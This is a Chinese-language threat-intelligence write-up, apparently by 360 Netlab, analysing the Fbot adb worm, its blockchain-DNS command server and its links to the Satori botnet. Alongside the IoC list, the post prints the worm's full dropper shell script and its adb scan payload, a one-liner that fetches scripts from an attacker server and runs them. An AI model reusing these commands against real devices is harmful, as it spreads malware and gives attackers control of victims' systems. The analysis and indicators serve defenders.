Fbot,一个Satori相关的、基于区块链DNS的蠕虫
从2018-09-13 11:30 UTC开始,我们首次注意到一个新的蠕虫正在清理 com.ufo.miner。在完成了清理动作后,该蠕虫会等待来自C2(musl.lib,66.42.57.45:7000, Singapore/SG)的下一步指令。我们将该蠕虫命名为fbot,主要是因为该蠕虫的主要执行模块使用了这个名字。该C2域名的解析,需要通过EmerDNS,一个emercoin.com旗下的区块链DNS完成。
com.ufo.miner 与我们之前多次 报告 的 ADB.Miner 类似,利用adb安卓调试接口传播,并挖矿。ADB.Miner 是我们今年二月首次 报告 的,自那以后,类似的其他僵尸网络已经长期传播,感染了包括 Amazon FireTV 在内的多种设备。
最后,新的蠕虫Fbot与臭名昭著的 Satori 僵尸网络有关联。
分析
FBot的恶意样本通过 adb 安卓系统调试接口投入,这与之前的 ADB.Miner 的投入方式一致。
投入载荷会下载执行 hxxp://188.209.52.142/c,或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl,下文不再区分。两个脚本的主体功能一致,包括:
- 尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本;
- 卸载 com.ufo.miner,一个类似ADB.Miner的挖矿组件;
- 完成自身清理工作。
该脚本的详细内容如下:
#!/system/bin/sh
n="arm7 mipsel mips x86 x86_64 aarch64"
http_server="188.209.52.142"
for i in $n
do
cp /system/bin/sh fbot.$i
>fbot.$i
curl hxxp://$http_server/fbot.$i > fbot.$i # wget hxxp://$http_server/fbot.$i > fbot.$i
chmod 777 fbot.$i
./fbot.$i
rm fbot.$i
done
# Cleanup
for i in $n
do
rm fbot.$i
done
pm uninstall com.ufo.miner
# Suicide
rm $0
下载得到的 fbot.{arch} 是个mirai的变种,主要特点包括:
- C2:musl.lib:7000,当前在EmerDNS上的解析地址为 66.42.57.45,Singapore/SG Singapore
- 扫描和传播:针对 TCP 5555 adb 端口扫描。扫描成功后,会下载hxxp://188.209.52.142/c,完成对蠕虫自身的传播。
- 进程清理:样本中会遍历 /proc/pid/exe 目录下面的特定进程,如smi、xig、rig等。枚举得到符合条件的进程后,会杀掉该进程。
该变种保留了 mirai 僵尸网络的DDoS功能,但我们尚未检测到该C2有发出DDoS攻击指令。
扫描阶段的载荷如下:
shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c
枚举进程列表
/data/local/tmp/smi
/data/local/tmp/xig
/data/local/tmp/trinity
/data/local/tmp/z
/data/local/tmp/log
/data/local/tmp/rig
/data/local/tmp/.f
/data/local/tmp/tyg
主控域名 musl.lib 在EmereDNS上的解析
C2域名musl.lib不是一个标准的DNS域名。其顶级域 .lib 并没有在 ICANN 注册,也不能被通用的DNS系统解析,实际是由emercoin.com旗下EmerDNS系统解析。EmerDNS是一个基于区块链的DNS系统,在其官方网站上宣称,EmerDNS建立与区块链技术之上,完全去中心化,只有记录创建者才能操作记录内容。
当用户要想访问 *.lib 的网站时,可以有几种选择。由于公共DNS服务商OpenNIC的支持,用户可以通过OpenNic公司旗下的公共DNS服务器访问 *.lib 网站,或者用户可以给浏览器安装特定器扩展,或者是自行架设Emer节点。
Fbot蠕虫作者选择了OpenNic公司的公共DNS服务。蠕虫中硬编码了一组OpenNic公共服务器IP地址,被感染的机器通过向这些服务器请求,得到 musl.lib 的EmerDNS解析IP。样本中硬编码的DNS解析服务器至少包括:
176.126.70.119
163.53.248.170
174.138.48.29
5.132.191.104
107.172.42.186
163.172.168.171
174.138.48.29
185.208.208.141
163.53.248.170
5.132.191.104
当前 musl.lib 的EmerDNS解析结果如下:
https://explorer.emercoin.com/nvs//musl.lib//25/1/1
读者可以利用如下命令重现上述解析过程:
user@netlab.360.com$dig musl.lib @seed2.emercoin.com +short
66.42.57.45
我们猜测恶意代码使用EmerDNS的原因,可能是下列之一:
- 提高安全分析人员追踪的难度;
- 安全分析人员难以通过与ICANN成员单位的合作来 sinkhole 该域名;
这样,恶意代码作者可以长期保持对该僵尸网络的控制。
Fbot 与 Satori 僵尸网络的关系
Fbot 蠕虫与 Satori 僵尸网络的关系,展现于下图中:
在上图中:
- Fbot的主控IP地址66.42.57.45,与Satori的主控域名 rippr.cc,通过和注册邮箱 ukrainianhorseriding.com/village@riseup.net 相连
- 另外,27.102.115.44 这个IP与Fbot也有关系
- 如图中所示该IP通过 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com 域名与Fbot主控IP相连;
- 而且,该IP上的URL布局也与Fbot的下载服务器188.209.52.142的URL布局基本一致,见文末IoC。
综上,我们认为图中展示的域名、IP、URL、样本构成了强烈内聚的一簇,Fbot可以归属到Satori。
联系我们
感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。或者发送邮件给 netlab at 360 dot cn 。
IoC
下载服务器
188.209.52.142 Netherlands/NL AS49349
C2服务器
musl.lib #主控域名,由区块链DNS系统EmerDNS解析
66.42.57.45:7000 #Singapore/SG Singapore #当前主控IP
ukrainianhorseriding.com #历史关联域名
27.102.115.44 #Republic of Korea/KR AS45996
rippr.cc #历史关联域名,Satori主控
下载URL
hxxp://188.209.52.142/c #脚本,会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件,并做清理
hxxp://188.209.52.142/w #脚本,会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件,并做清理
hxxp://188.209.52.142/fbot.aarch64 #扫描器,下同,完成自身的蠕虫传播
hxxp://188.209.52.142/fbot.arm7
hxxp://188.209.52.142/fbot.mips
hxxp://188.209.52.142/fbot.mipsel
hxxp://188.209.52.142/fbot.x86
hxxp://188.209.52.142/fbot.x86_64
hxxp://27.102.115.44/c #历史关联脚本
hxxp://27.102.115.44/w
hxxp://27.102.115.44/mipsel.bot.le
hxxp://27.102.115.44/mips.bot.be
hxxp://27.102.115.44/i686.bot.le
hxxp://27.102.115.44/arm7.bot.le
hxxp://27.102.115.44/arm64.bot.le
hxxp://27.102.115.44/x86_64.bot.le
hxxp://27.102.115.44/adbs
hxxp://27.102.115.44/adbs2
hxxp://27.102.115.44/